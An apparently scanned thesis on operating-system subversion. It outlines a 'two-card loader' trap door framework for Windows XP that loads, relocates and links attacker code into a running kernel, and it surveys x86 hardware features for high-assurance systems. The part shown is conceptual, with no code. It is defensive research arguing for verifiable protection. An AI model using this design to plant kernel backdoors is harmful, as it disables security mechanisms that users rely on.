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ABSTRACT

The subversion technique of attacking an operating system is often overlooked in
information security. Operating Systems are vulnerable throughout their lifecycle in that
small artifices can be inserted into an operating system’s code that, on command, can
completely disable its security mechanisms.

To illustrate that this threat is viable, it is shown that it is not difficult for an
attacker to implement the framework for the “two-card loader” type of subversion, a trap
door which enables the insertion of arbitrary code into the operating system while the
system is deployed and running. This framework provides several services such as
memory allocation in the attacked system, and mechanisms for relocating, linking and
loading the inserted attack code.

Additionally, this thesis shows how Windows XP embedded designers can use
Intel’s x86 hardware more effectively to build a higher assurance operating system.
Principles of hardware support are discussed and recommendations are presented.

Subversion is overlooked because critics believe the attack is too difficult to carry
out. It is illustrated in this thesis that this is simply not the case. Anyone with access to
the operating system code at some point in its lifecycle can design a fairly elaborate

subversion artifice with modest effort.
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EXECUTIVE SUMMARY

“‘Why do you call me “Lord, Lord,” and do not do what I tell you? I will show
you what someone is like who comes to me, hears my words, and acts on them. That one
is like a man building a house, who dug deeply and laid the foundation on rock;, when a
flood arose, the river burst against that house but could not shake it, because it had been
well built. But the one who hears and does not act is like a man who built a house on the
ground without a foundation. When the river burst against it, immediately it fell, and
great was the ruin of that house.” ”

Luke 6: 46-49

In the current era of information security, information technology products that
can truly claim to be high assurance are hard to find. The emphasis, for years, has been
on developing secure applications, which has inevitably taken the focus away from
building a strong foundation on which the applications can run, namely, the operating
system. The result has been the emergence of applications claiming to be very secure and
excellent cryptography, relying on low assurance operating systems for a context in

which to run.

The subversion attack is one that takes advantage of the absence of constructive
techniques used to create a system that is verifiably secure. Subversion remains a major
threat to an operating system’s security, because, when implemented, it allows the
attacker to carry out attacks against the security functions of the kernel itself. This
usually allows security mechanisms to be bypassed, most notably the reference validation
mechanism, the portion of the kernel that checks access attempts of resources in the

system, such as memory.

The problem remains, however, that developers are simply not concerned with
this kind of attack because they feel it is too hard to carry out. They argue that the
motivation for carrying out such an attack does not outweigh the perceived difficulty of
carrying out such an attack and therefore, verifiable systems are not worth the expense in

combating this attack.

The purpose of this thesis is to illustrate that it is in fact not difficult to carry out
such an attack, and that anyone with access to the operating system’s code at any point
during the lifecycle of development, can make changes to the code in order to subvert the

XV



system. This thesis shows that even a fairly elaborate design can be implemented without
difficulty. Ours permits different attacks to be invented on the vulnerable system at
different times, allowing the attacker maximum flexibility in choosing an attack. This
variety of subversion, the “two-card loader”, allows the injection of instructions into the
system, while the system is deployed and running, in order to defeat the security
mechanisms the attacker would like to attack at that that particular time. In order to
illustrate the threat of subversion, [MURO03], [LACO03] and this thesis has implemented

the two-card loader.

There are three parts of the implementation of the two-card loader: the bootstrap
mechanism, the Linker/Loader or framework functions, and the implanted attack artifice
itself. This thesis, in particular, demonstrates that the second part, a framework for this
kind of subversion, can be constructed, which allows the implanted code to execute in an
unknown environment successfully. The dynamic subversion Linker/Loader provides a
means for memory to be allocated in the attacked system to hold the artifice when loaded,
it provides a means for relocation to the allocated space in memory, and it allows for

linking to its own functions.

This thesis also discusses ways to improve Windows XP’s use of the available
hardware, specifically, Intel’s 32-bit, x86 architecture. This is done in order to illustrate,
first, the security requirements that hardware ought to meet, in order to build a high
assurance system as per the Common Criteria, and second, the available features the x86
architecture provides in order to meet these requirements. Requirements such as address
space management, descriptor level access granularity, and I/O resource management are
discussed and their implementations in the x86 architecture such as segmentation, and

local and global descriptor tables are discussed.
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I. INTRODUCTION

A. STATEMENT OF THESIS

The purpose of this research was to create a general framework for the subversion
attack, by creating a mechanism which enables arbitrary code, inserted into the attacked
system, to run with a context, ultimately leading to loss of security functionality of the
overall system. This context is established through the use of linking, relocation and
loading functions which allocate memory, load the code to be inserted into that memory,
relocate the inserted code to that memory space, and otherwise, set up the subversion

attack such that its triggers can be activated at any time after loading.

The subversion attack is often overlooked in the information security field as a
viable attack, simply because the attack is considered too difficult to carry out. The
research detailed here shows that is relatively easy to create a fairly elaborate mechanism

which provides a framework for the insertion of arbitrary code into a system

Another purpose of this work is to show requirements for hardware architectures
so that high assurance systems can be built through effective use of that hardware. There
are several requirements for hardware which, if included in a hardware implementation,
provide a strong foundation for a high assurance operating system. Further, an example
implementation of Windows XP using Intel’s x86 architecture is presented such that the
hardware features that implement these requirements are discussed to show how the
Windows XP operating system may be made higher assurance using the x86’s available

hardware security features.

The first argument made is for building a system with verifiable protection.
Subversion is an attack that can be prevented only by verifying that the security relevant
portion of the operating system, the kernel, is constructed with no unspecified
functionality. Unless a demonstration proof that the security model of the system is
properly implemented in the system, and that all code is required for the correct
implementation of the policy described by the model is constructed, there is no way of
verifying the security functions of the system will always operate correctly, thus keeping

the system from entering an insecure state. It is shown that if an attacker has access to

1



the kernel source code, such as in the case of a malicious developer, it is not difficult to
implant a trap door in the system, which when activated, could turn off all security
mechanisms in the kernel. It should also be noted that access to source code is only one
way of introducing this vulnerability, but that the artifice could be introduced in different
ways later in the lifecycle of the system as stated in [MYE80]. The implementation that
was hypothesized for this thesis was a dynamic subversion artifice, also known as the
“two-card loader” variety of subversion. Three theses, this thesis, and those by Murray,
[MURO3], and Lack [LACO03], have collectively implemented the more elaborate two-
card loader to illustrate that it is feasible and relatively easy to build a more elaborate

subversion artifice, such that arbitrary code can be inserted at the attacker’s discretion.

The second argument made is for improving use of hardware in constructing high
assurance systems. This is done by showing that, first, hardware must be selected that
meet several important requirements, such as mechanisms for managing memory,
keeping track of privilege levels, providing separate domains for execution, etc. Then,
implementations of these mechanisms are examined, such as segmentation and
descriptors for managing memory and privilege levels for helping to divide the system
into more and less privileged code based on the principle of least privilege. Finally, the
x86 architecture from Intel is examined to show that all of the mechanisms have been
included. It is then only up to the developers to develop the system to be evaluated at the
assurance level desired, from this hardware foundation. Note that hardware support is
necessary but not sufficient for verifiable protection. The only distinguishing
characteristic that separates a system of highest assurance, A1/EAL 7, from other
assurance levels is verified protection. These are the levels which provide the greatest
assurance that the system is subversion-free [SCHO1]. Though hardware security
mechanisms are only part of what is needed to develop a high assurance system, this
thesis illustrates what portions of hardware are important in building such as system and

how they are important.



B. HARDWARE AND BUILDING HIGH ASSURANCE SYSTEMS

High assurance systems have a long history in the field of Information Security.
Having its main roots with the advent of time sharing systems and with the United States
Air Force during the late 1960°’s and early 1970’s, research was conducted to develop
high assurance systems. These efforts became the worked examples from which standard

criteria for building high assurance systems emerged.

During the past thirty years, several criteria have emerged that specified exactly
what a system needed to be considered high assurance. The Trusted Computing Security
Evaluation Criteria (TCSEC), or Orange Book, emerged in the early 1980°s as the
principle criteria, followed by the first attempt to develop international criteria, the
ITSEC. The most recent and currently the most widely used criteria for building secure
systems is the Common Criteria, adopted as a standard by the International Standards

Organization in 1999.

The Common Criteria (CC), is a set of documents whose intent is to provide, “the
basis for evaluation of security properties of IT products and systems.” It is commonly
used by independent evaluators and developers to assess products and provide some idea
of how the security mechanisms of a Target of Evaluation (TOE) compare to a standard
set of criteria. Thus, purchasers of a system can understand whether or not the level of
assurance provided by the system is adequate for how they intend to use it. The
purchasers must be able to trust the product they are purchasing to protect data according

to the policy which the system is intended to enforce. [CC99]

The Common Criteria describe certain security requirements which should be
followed to build a system with security functions that use hardware effectively to protect
information in a system. Within the Common Criteria are certain Classes of criteria and
Families of Components or attributes that belong to each Class. These Components
outline the requirements that should be used as guidelines for building high assurance
systems. For our purposes, we will focus on the Components necessary for building a

system which uses hardware effectively to protect data in systems.

It is important to note that these security functional requirements are not specific

to one kind of security policy (i.e. MAC, and DAC, both of which can be used to specify
3



confidentiality or integrity). It is up to the developer to design and implement the Target
of Evaluation Security Policy (TSP) and to specify it using a particular Common Criteria
Class and Family. Therefore, in the discussion of using hardware effectively, the

specifics of any particular security policy will not be discussed.

Because the operating system target for this thesis is Windows XP, it is useful to
mention that its predecessor, Windows 2000, was evaluated using the Common Criteria,
at the EAL 4 level. This means, without exploring all of the details of the evaluation, we
know that this level of assurance indicates that some of the requirements of a high
assurance system were met, but not all of them. The overall purpose of this thesis is to
explain ways that this evaluation level can be improved upon in the future, by discussing
ways to use hardware effectively, and by making a case for a high assurance security
kernel. It is clear however, that, for the moment, Microsoft Corporation is satistfied with
EAL4 and that improvements to lead to a higher evaluation level are not a high priority.
These decisions are reflected in [MICO02] that,

EAL levels 5-7 are targeted toward the evaluation of products built with

specialized security engineering techniques. As such, these levels are

generally less applicable to products built with commercial distribution in

mind. EAL 4, then, represents the highest level at which products not built
specifically to meet the requirements of EAL 5-7 ought to be evaluated.

This author believes that in spite of this assertion, commercial products can reach
a higher assurance level and if recommendations are followed such as those in this thesis,

this goal can be achieved.

C. SUBVERSION OF THE TWO-CARD LOADER VARIETY

As mentioned earlier, the purpose of demonstrating that a subversion artifice can
be easily introduced into Windows XP, is to show that one common vulnerability exists
for all operating systems that do not adhere to the processes necessary to implement a
true reference monitor, namely, the subversion or trapdoor. This attack is typically
carried out by a professional attacker, whose intent is to implant code into the system at
some time during its lifecycle, in order to disable security mechanisms when the system

is deployed in the future.



The two-card loader subversion is a sophisticated version of a subversion attack,
is also relatively easy to implement, and, by design, is able to implant different code into
the system as the attacker sees fit. This changeable artifice can, on one day, attack a
certain cryptographic mechanism in the system, and on the next, turn off all access
control mechanisms in the kernel. In this way, the attack can be tailored to meet the
needs of the attacker, which most certainly will change over the lifespan of the deployed
system. The following quotation by Dr. Roger Schell gives an insight into what the two-

card loader subversion attack is and how it originated:

During some of my early tiger team participation with Jim Anderson and
others, it was recognized that a significant aspect of the problem of Trojan
horse and trap door artifices was the ability of the artifice itself to
introduce code for execution. A self-contained example was a subverted
complier in turn emitting an artifice, as hypothesized in the early 1970's
Multics evaluation by Paul Karger and me [KARO02], which stimulated
Thompson's discussion of this in his Turing lecture [THO84]. Soon after
Karger's report, other tiger team members observed that the ultimately
desired artifice did not have to be self-contained, but could be imported
later. It was suggested that a particularly insidious packaging of this could
have the initial artifice provide the functions of simple bootstrap loader
typically hardwired in the computers of that era. These loaders did
something like read the first two binary cards from the card reader and
initiate execution of what was read, which was usually a further bootstrap
program to read and execute additional binary cards. Hence this class of
attack came to be commonly referred as the “2-card loader problem.” The
concept and term became quite commonplace, although I don't know of
any widely reported actual implementation. Myers during his 1980
research at NPS was well aware of the 2-card loader problem, and his
thesis implicitly included this in the trait of a trap door he termed
“adaptability” which included being “designed to modify operating system
code online.” [MYE®80]. Much later Don Brinkley and I in our 1995 IEEE
essay had the 2-card loader problem in mind when we briefly described a
hypothetical attack where, "Among the functions built into the Trojan
horse was the ability to accept covert software 'upgrades' to its own
program." [BRI9S].

The overall Dynamic Artifice Subversion, as it will be referred to in the remainder
of this thesis is divided into three parts which were divided among three theses. The first
part, the Bootstrap loader, which is mentioned above by Dr. Schell, carries out the initial
functions of the subversion which is to say, it provides a means to introduce any

executable code into the system at arbitrary times while the system is deployed and
5



running. The second part, and the focus of this thesis, is the Linker/Loader which carries
out the functions necessary to set up an environment for the implantable code to execute.

The third part is the actual attack artifice implanted in the system using the first two parts.

D. THESIS ORGANIZATION

This thesis is divided into five chapters beyond this one. In the first of these
chapters, (Chapter II) the topic of Hardware support is discussed, outlining requirements
for hardware in implementing a high assurance system. The next chapter, (Chapter III),
talks about using the Intel x86 architecture to achieve high assurance objectives. The
next chapter (Chapter IV) discusses the design of the Linker/Loader portion of the
Dynamic Subversion, which is the focus of the research reported in this thesis. The last
of these chapters (Chapter V) discusses the implementation details of the Linker/Loader
portion of the attack. This is followed by conclusions and suggestions for future work in

Chapter VI.



II. HARDWARE SUPPORT

A. INTRODUCTION

Given certain requirements for building a high assurance system, we show that
hardware mechanisms exist, in general, that can be used to support this high assurance
system (in other words, we do not have to implement these mechanisms solely in
software). This chapter is a survey of some of the hardware mechanisms that have been
introduced as a means of building high assurance systems, these mechanisms being

derived from the requirements of what constitutes a secure system.

Beginning in the early 1970’s and continuing to the present day, an approach to
protecting information in systems has been followed that is founded on the notion that in
order to provide the desired level of assurance, we need to run applications on a secure
foundation, namely, secure, verifiable systems. Hardware can be the foundation of
secure systems and upon that foundation ought to rest a software-based system whose
security features can be verified independently to operate correctly based on both formal
and informal methods. These methods examine the security requirements, security
specification, also called the Formal Top Level Specification and its security model to

accomplish this task.

In order to build a system that is verifiable, it is necessary to use a structured
approach to select hardware with features that can serve as a sound basis for a secure
system. Assuming that these features exist and work as intended, it is then up to the
system designer to effectively use these features to design and build the software that
makes up the high assurance operating system. Developers could make the choice,
however, to needlessly re-implement the security features provided by the hardware
almost completely in software, or worse yet, not implement security functionality at all.
These systems do not use the available hardware security features effectively, and are the

subject of this discussion.

Through the years, a number of systems that have been built by researchers and
engineers that have met the standards for verifiable systems, such as the EAL 7 or Class

Al systems that have been evaluated against the Common Criteria, or the Trusted
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Computer System Evaluation Criteria (TCSEC) respectively. It should be noted that
although hardware is essential, these criteria should be consulted for the full set of
minimum essential security requirements for substantially dealing with subversion.
These systems use the same commercially available hardware found in many insecure,
non-verifiable systems. This shows that, as is pointed out in [SCHO1], security research
and practice have taken a wrong turn, leading us to a dark age in Information Security in
which secure applications are pursued and then built to run upon an insecure operating

system foundation.

In fact, Intel’s popular x86 hardware, has all of the components necessary to
support the kind of high assurance system both commercial and government entities can
rely upon to protect information. This chapter will explain the hardware features
necessary to build a high assurance system based on the requirements for high assurance
systems outlined in the Common Criteria, and in the next chapter, the x86 hardware

features that meet these requirements will be identified and explained.

B. PRELIMINARY ASSUMPTIONS

It is important to point out that in discussing a verifiable operating system, several
assumptions are being made by system developers about the hardware architecture on
which the operating system is built. As is mentioned in [SIB95] it is becoming harder to
trust that the hardware will act in a manner that is conducive to the security functionality
of a system. Often, the hardware is trusted without justification and taken as a given or
“black box,” from which a secure product will be created. They mention two general
hardware vulnerability categories that show we ought not to trust the hardware implicitly
in this manner: 1) implementation errors or “bugs” such as those in the floating point
processor or the central processing unit. 2) Interactions between correctly functioning
hardware components that if used incorrectly, introduce storage or timing covert

channels.

Undocumented instructions represent another pitfall for secure system developers.
These instructions were used by the hardware designers, implementers and testers for

testing the correctness of the hardware, but nevertheless should not be in the final
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implementation. This is simply because an undocumented instruction may exist that
turns off all access rights checking in the system which would render the TCB useless.
The only hindrances, then, to a potential attacker in such a scenario is the attacker’s
ignorance of the particular instruction which, if the attacker designed the instruction,

would not be the case.

They suggest further that if we are to continue trusting hardware there ought to be
a basis for this trust such as formal methods for verifying the hardware. This is necessary
as the complexity of hardware continues to increase, as is the case of Intel’s x86
architecture. There have been efforts to move toward verifiable hardware, including the
significant efforts in the development of Honeywell’s Secure Communications Processor
or SCOMP security hardware developed in 1983 [BENS83]. It is important to note that
the correctness of hardware and correct functional analysis does not guard against
interactions between features in hardware. These feature interactions may affect security
just as much as undocumented instructions, not to mention introducing possible ways to
create hardware subversion. As noted in [KAR74], a hardware vulnerability, such as the
one found in the Multics system, can create a substantial flaw in the system’s security

checking mechanisms, and may even completely disable them.

C. USING HARDWARE EFFECTIVELY TO IMPLEMENT A HIGH
ASSURANCE SYSTEM

In this section we discuss guidelines for using hardware effectively to build a high
assurance system, drawing upon requirements for high assurance systems from the
Common Criteria. Then, from these requirements, we examine traditional ways that
hardware developers have designed hardware to give operating system developers a
foundation to meet these requirements. The requirements must be followed in order to
build a high assurance security kernel, which may be part of a TCB (Trusted Computing
Base). The TCB encompasses security relevant parts of the system and enforces the
system security policy. In our discussion, we will give the requirements, show types of
mechanisms, or characteristics of systems such as having a Reference Monitor, and in the
remainder of the chapter, discuss the various hardware mechanisms or implementations

available.



1. The Common Criteria’s Reference Monitor Requirements for a High
Assurance System

The Common Criteria does not specifically mention the need to have hardware
mechanisms that serve as the tools for constructing high assurance systems. It is very
general in giving requirements for secure systems, because it assumes that security
features can be implemented in hardware or software. [AMES83] discusses this as well,
mentioning that there two extremes, implementing a Reference Monitor completely in
hardware or software. The third and more pragmatic approach is some combination of

the two.

From the Common Criteria, [CC99], the Families of Domain Separation
(FPT _SEP), Reference Mediation (FPT RVM), and Target of Evaluation Security
Functions Internals (ADV_INT) outline the Components necessary to design a high
assurance system that mediates all accesses of subjects, i.e. <process, domain> pairs, to
objects. The first Family mentioned, FPT SEP, describes a system in which domain
separations can be designed to correctly implement a Reference Monitor, which is
tamper-proof. The second Family mentioned, FPT RVM, states the requirement that in
order for the Reference Monitor to be always invoked, it must be non-bypassable for
every reference to a resource within the scope of the system. The third Family
mentioned, ADV_INT, fulfills the final requirement for a true Reference Monitor, which
is that complexity must be minimized in order to make the Reference Monitor simple,
easily understood and testable to make sure it operates correctly. Though this last Family
is important to the design of complete Reference Monitor, it will not be discussed any
further as it does not relate as much to hardware as the Domain Separation Family
(FPT _SEP) and the Non-bypassable Family (FPT RVM). [CC99] In preventing
subversion, the main goals are to provide a Reference Monitor that cannot be turned off
(non-bypassability), and provide separate domains of execution to separate the Reference

Monitor from the rest of memory to make sure it cannot be turned off.

The highest possible assurance component to implement Domain Separation for
the Reference Monitor is the Complete Reference Monitor component (FPT SEP.3).

There are two other components (FPT _SEP.1 and FPT SEP.2) that outline requirements
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that are not of the highest possible assurance, and though they are mentioned here briefly,
they will not be discussed in detail. According to the Common Criteria, the Complete
Reference Monitor component requires the use of separate execution domains for the
Reference Monitor, non-Reference Monitor functions, as well as a domain for individual
subjects. This is structured in this way for a few simple reasons. In order to ensure that
the Reference Monitor is tamper-proof, its data structures and code must be protected
from unauthorized modification by either untrusted subjects, or by non-Reference
Monitor functions, referred to in the Common Criteria as the non-isolated portion of the
Target of Evaluation Security Functions (TSF). Further, in order to enforce high
assurance security policies, subjects must have separate execution domains from other

subjects. [CC99]

With respect to the second Family mentioned above, Reference Mediation
(FPT_RVM), the sole component requirement is that the Reference Monitor not be by-
passable (FPT _RVM.1), thus ensuring that the system security policy is always invoked.
With the proper construction of execution domains, we can ensure isolation of the
Reference Monitor. The next step according to this component is that each attempt at
access must be checked as to whether a successful access would violate the security
policy or not. Such checking can be done in hardware and/or software. This allows for
full control of the Reference Monitor, and if this requirement can be realized, a system is
closer to becoming a high assurance system. As it was mentioned previously, this Family
is necessary to make certain that the Reference Monitor cannot be turned off, which is

usually the first action of an attacker when a system is being subverted. [CC99]

2. The Common Criteria’s Information Flow Requirements for a High
Assurance System

The Common Criteria gives requirements for Information Flow Control
(FDP_IFF). This Family is relevant to the discussion of Covert Channels, which for the
most part should be eliminated as much as possible from the system. The specific
Components, Limited Illicit Information Flows (FDP_IFF.3), Partial Elimination of Illicit
Information Flows (FDP_IFF.4), No Illicit Information Flows (FDP_IFF.5), and Illicit

Information Flow Monitoring (FDP_IFF.6) give the requirements for limiting covert
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channels in varying degrees. These say that in order to build a high assurance system,
these information flows must be limited or stopped completely. The last Component,
FDP_IFF.6, is a bit different because it describes a requirement for monitoring covert

channels above a certain bandwidth threshold. [CC99]

3. Hardware Characteristics Needed to Implement a High Assurance
System

Now that we have mentioned the requirements for building a high assurance
system, we can describe the characteristics we are looking for in a hardware platform that
will help build a high assurance system, and then show how these hardware-implemented
security features can be used effectively. They can be used to implement a complete
Reference Monitor as described by the Common Criteria, as well as limit or eliminate

completely from the system, hardware-related covert channels.

In the case of the requirements for implementing a reference monitor, we see that
the principle means for constructing a complete Reference Monitor, is to have some
notion of domain within a system. Then, when we can ensure, by formal proof, that the
Reference Monitor is always invoked, we know that the system cannot be subverted.
Though the Common Criteria does not give an explicit definition as to what exactly a
domain is, we know that a domain is an execution environment that is separated from
other such domains in a system either by using hardware, software or a combination of
the two. Some domains may be of higher privilege than others. Also, domains typically
have an assigned address space in memory to hold information that it requires to execute.
There are many ways of implementing a domain of execution, but we will discuss only a
few in this chapter. This will give an idea of how protection is provided from
unauthorized tampering from other domains, or execution environments, thus preventing
unauthorized alteration of code or data structures within any particular domain residing in

the system.

The following are several characteristics that hardware should have, that system
programmers need to implement a high assurance system. These characteristics are

derived from the requirements above, and have several functions. One such function is to
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separate portions of the system into distinct execution entities, or domains, one of the
most important hardware-based mechanisms, which can be used to design a tamperproof
reference monitor. Still other characteristics are needed to fulfill the requirements of
Information Flow and Access Control, mentioned above. All of these characteristics will

serve as a discussion basis for how hardware can be used effectively.

* Some sort of address space management is necessary, usually
implemented in hardware as memory pages, or segmentation. Descriptors
are closely related to this in that they help to determine which memory
areas belong to which domains. This requirement helps to establish a
separate security domain for the Reference Monitor, the remainder of the

kernel, and untrusted subjects.

* Access control should be implemented to store the nature of a subject’s
allowed access to objects in the system. This is to say that within an
execution domain, limitations on whether parts must be readable, writable,
executable, or some combination of thereof, should be specified in the
system. Descriptors may be used to handle access rights as well as
provide address space management. This gives the Reference Monitor a
finer granularity when determining the type of access a subject is

permitted on an object.

* A means of execution domain separation is necessary. In hardware this is
typically implemented as privilege levels, which can assist segmentation
in dividing the system code and data structures into a hierarchy of
privilege levels known as protection rings. Many popular systems such as
Windows NT based operating systems and Linux use only two modes or

rings: kernel/supervisor and user.

* A means for transferring control from a less privileged hardware mode
into a more privileged mode during execution. Most hardware
implementations provide a secure means of changing the privilege level.
Also, gates are a good means of a low privilege code section accessing

higher privilege routines and/or data at specified, controllable points.
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* Covert channels ought to be limited as much as possible in hardware,
without sacrificing the functionality of the system, by examining where in
hardware information can be passed in a way that goes against the

system’s security policy with respect to information flow.

These characteristics of hardware implementations will be discussed in the
remainder of the chapter, which is a survey of hardware mechanisms that can be used to
implement a high assurance system. In order to properly construct domains that separate
the context of different entities within a system completely, all of these characteristics are
needed. In the next chapter, Intel’s 32 bit, x86 hardware will be looked at in more depth

to show how its features can be used effectively to build a high assurance system.

D. MANAGING ADDRESS SPACE

For the hardware characteristics of address space management and establishing
separate domains of execution that system programmers need to successfully implement
a Reference Monitor, we introduce several hardware mechanisms that can be used to help
establish execution domains, separating the Reference Monitor from the rest of the
system, the supervisor code from the user space, and users from each other.
Segmentation and descriptors offer one approach to managing address space in high

assurance systems and will be discussed here.

1. Segmentation

An important hardware feature that can be used to build a means to separate the
system into execution domains is Segmentation. Segmentation corresponds with the
secure system characteristic that address space should be managed properly, providing a
memory based context with which various subjects in the system can operate.
Segmentation was introduced as a means to separate the execution domains of different
processes so as to provide isolation from other processes and prevent user processes from
tampering with code and/or data that it should not tamper with, such as the Reference
Monitor. In some systems such as MS-DOS, not only were processes not isolated from

each other, but the kernel’s address space was also not protected from user processes,
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which, in a networked environment or an environment with many users using the same
machine, there was little that could be done to protect information within the system.
The objective in discussing segmentation is to show a hardware implementation of a

means to control memory space that is managed by the operating system.

Segmentation, combined with other hardware mechanisms, provides the
framework of mediating access of subjects to objects. Subjects are <process, domain>
pairs that act on behalf of a user within the system. A subject gains access to objects,
commonly thought of as physical memory or a device’s memory, through the memory or
device security manager in order to complete its tasks. There are different mechanisms
for managing the relationships between subjects and objects, which will be discussed

later.

In [SAL75], it is mentioned that when segmentation is in place, it ought to be part
of the kernel’s construction to check the boundaries of the requested address space,
defined by the beginning and ending addresses or base and bound addresses to insure that
a process is allowed to address only the memory space for which it is authorized.
Encoded in the kernel is a database of allowed authorizations that is referenced in order
to check whether or not a particular subject may have access to a particular object, as
well as the base and limits of the segment to see if the access occurs outside the
boundaries of the segment. This ensures policy enforcement through the mediation of the
access of processes to memory in order to protect information in a system. A Reference
Validation Mechanism, RVM, the implementation of the reference monitor, checks all
attempts by a process to address a particular memory space, and then determine the

access rights, if any that the process has for that space. [AMES&3]

However, segmentation is not enough to properly protect a process’s memory
space from other processes. Other mechanisms must be in place as well to properly
determine what types of access can be made to a segment which will be discussed later in
the chapter. There also ought to be mechanisms in place to limit the privilege context,
such as through the use of modes, in which a process may execute so as to avoid
executing with privileges that are unjustified for the tasks it must complete. There must

also be protection for the mechanisms that check the base and bound of a process’s
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memory fetch instructions. As mentioned previously, address space management is only

a part of constructing a complete Reference Validation Mechanism in a system.

2. Descriptor Based Protection

This leads to a discussion of how the operating system determines which
processes can have access to which memory segments. [SAL75] mentions the concept of
the descriptor, which is defined as an access control mechanism that ‘describes’ a
segment of memory that may be accessed by a process. When the process attempts to
access a memory segment that holds the information it needs to complete its operations,
the descriptor is loaded into the descriptor register, and this is then checked by hardware
mechanisms to ensure the process has access rights, to that segment, for the particular
operation. The descriptor typically holds the base and bound addresses mentioned before

and additionally holds the access control specifics such as read, write, and execute.

In [SAL75] it is further mentioned that two levels of descriptors are needed to
hold the two different types of information. One address descriptor should be used to
hold the base and bound values that limit a process’s memory space and a protection
level descriptor should be used to define the possible operations on that memory. They
further mention that both of the loadable descriptor registers, address and protection,
should be tamperproof and not accessible by user level processes. Without this
guarantee, any user level process could arbitrarily alter the contents of the appropriate

registers, leading to a state in which the security controls are completely bypassed.

Logically, it makes sense to have two levels of descriptors to separate privilege
within the kernel. It allows the operating system to divide the functions of organizing the
memory and protecting the memory to achieve this logical separation of duties within the
memory management system. First, the kernel on behalf of each user process would have
protection descriptors to a particular segment of memory, which would determine its
read, write, and execute permissions. Then, another addressing descriptor, to which all
users could potentially gain access, would hold the base and bound values for that
particular memory segment, e.g., for demand paging. This would solve concurrency

issues for the segment, meaning the memory management unit would not have to track
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numerous processes’ descriptors for a certain segment and attempt to control at the
privilege descriptor level, because they could simply control one physical addressing
descriptor globally. Also, this would simplify the memory management system and
provide for complete protection because the single addressing descriptor can be revoked
at any time without having to do a search of all processes that hold descriptors for that
space in memory. However, this may introduce a performance penalty because both
descriptors, protection and addressing, would have to be looked up in the descriptor table,
and then both types of access, range and access permissions, would have to be checked to
ensure the attempt is a valid one. Consequently, many hardware implementations simply
use one level of descriptors, that have attributes of both address and protection
descriptors, to expedite table lookups that occur when the operating system fetches a

memory segment.

In situations where only one descriptor is used for all processes, a very serious
problem is introduced. This is the problem of not being able to distinguish between
processes having different security attributes. When separate sets of descriptor are used
to describe the accesses authorizations of processes operating at different security levels,
it is possible to distinguish what can be read/written to/executed, and what cannot. Using
only one descriptor for all accesses does not provide this separation and should be

avoided.

E. ESTABLISHING FINE GRAINED ACCESS CONTROL IN HARDWARE

Although there are varying ways of using hardware based descriptors to manage
accesses of subjects to objects, further attention must be paid to the finer grained access
control mechanisms, namely the access modes and their policy enforcer functions in the
RVM. This refers to the aforementioned protection descriptor level and the read, write,
and execute bits that determine the nature of access that each subject has over each
object, if any. As it was described in [SCH72], a domain ought to contain information
that defines the access capabilities of the memory space over which a process has
jurisdiction. This includes what read, write and execute permissions are allowed to the

process when it is required, but is only relevant to a specific segment of memory.
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Therefore as in [SCH72], the privilege descriptor segment, which holds all of the
privilege descriptors, is thought of as defining the domain of that process. From this, we
understand that hardware mechanisms based on the characteristics previously mentioned
are needed to divide the privilege levels of certain programs from others, and provide

separate execution domains for different entities in a system.

Using Intel’s x86 architecture as an example, we see that that there are several
access modes that are available for system programmers, which define whether a segment
is read, write, execute capable, or some combination of the three. The following is a
table which shows the fine granularity access controls that can be used to define a

subject’s relationship to an object. [INTP5]

1 10 9 8 Descriptor
Type E w A Type Description
0 0 0 0 0 Data Read-Only
1 0 0 0 1 Data Read-Only, accessed
2 0 0 1 0 Data Read/\Write
3 0 0 1 1 Data Read/\Write, accessed
4 0 1 0 0 Data Read-Only, expand-down
5 0 1 0 1 Data Read-Only, expand-down, accessed
6 0 1 1 0 Data Read/\Write, expand-down
7 0 1 1 1 Data Read/Write, expand-down, accessed
1 10 9 8 Descriptor
Type C R A Type Description
8 1 0 0 0 Code Execute-Only
9 1 0 0 1 Code Execute-Only, accessed
10 1 0 1 0 Code Execute/Read
11 1 0 1 1 Code Execute/Read, accessed
12 1 1 0 0 Code Execute-Only, conforming
13 1 1 0 1 Code Execute-Only, conforming, accessed
14 1 1 1 0 Code Execute/Read-Only, conforming
15 1 1 1 1 Code Execute/Read-Only, conforming, accessed
Table 1. Intel’s Fine-Grained Access Controls.

F. EXECUTION DOMAIN SEPARATION

In order to provide a separate execution domain for a system’s implementation of
the Reference Monitor, to separate its execution from untrusted subjects, we require some
notion of higher and lower privileged executable sections of code or instructions in a

system. One way to implement a hierarchical structure of separate domains is by using
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available hardware mechanisms such as segmentation, descriptors and privilege level bits
to create a software implementation of protection rings. This was the method used by

Multics designers to implement eight protection rings, as is pointed out in [KAR74].

1. Protection Rings

The concept of protection rings is useful because it takes all of the protection
mechanisms that were mentioned before and creates execution domains for entities in a
system, that require more or less privilege for carrying out different tasks. These
executing entities should have access authorizations only for those tasks, which
implements the principle of least privilege. Thus with protection rings, a subject can only
have the privileges it needs to do its job and nothing more. This translates very well into
the idea that there ought to be several modes: kernel, user and other operating modes to

keep parts of the security mechanisms isolated from the users of the system.

As it is described in [SCH72], a protection ring is an attribute, stored in hardware
in the form of privilege bits, of the domain that is assigned to a subject. The lower the
ring assigned to a subject, the greater the subset of potential accesses and the greater the
privilege of that subject. If a subject wishes to access a certain segment the security
mechanism can look at the privilege level of the segment, located in the descriptor
(usually implemented in hardware), and compare that to the privilege level of the subject.
Thus, if the former is less than or equal to the latter, it grants the access specified by the
read, write and execute flags specified as the domain of the initiating process. In more
advanced hardware architectures, a segment could be constructed so that certain higher
privilege levels could potentially write and read to a segment, while a lower privilege

level could only receive read access, for example.

Realistically, it is safe to assume that most systems do not require eight or nine
protection rings implemented in software, using hardware features such as privilege level
bits and segmentation. As a minimum, however, according to [AMES&3], [CAE(2], and
[CC99], three privilege domains are needed to properly protect certain privileged
instructions from less privileged subjects. This architecture, given that rings are used,

requires that there are two supervisor rings and one user ring. The highest privilege level
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ring would contain the Reference Monitor, the middle ring would contain the domain for
other operating system code such as device drivers and the last would be used as a user or
application privilege ring. The Common Criteria, as was mentioned above, agrees with
this assertion by stating that domain separation must be used between the Reference
Monitor portion of the kernel, the additional untrusted functions of the operating system,
and the remainder of the untrusted subjects in the system operating at the lowest privilege

level.

G. CHANGING PRIVILEGE LEVELS IN A CONTROLLED MANNER

If a low privilege code segment wishes to access a higher privileged segment,
such as when a higher privileged I/O routine must be accessed to complete an 1/O
operation, there must be a controlled, mediated manner for this change of privilege levels
to occur. In most hardware implementations, the subject would access what is called a
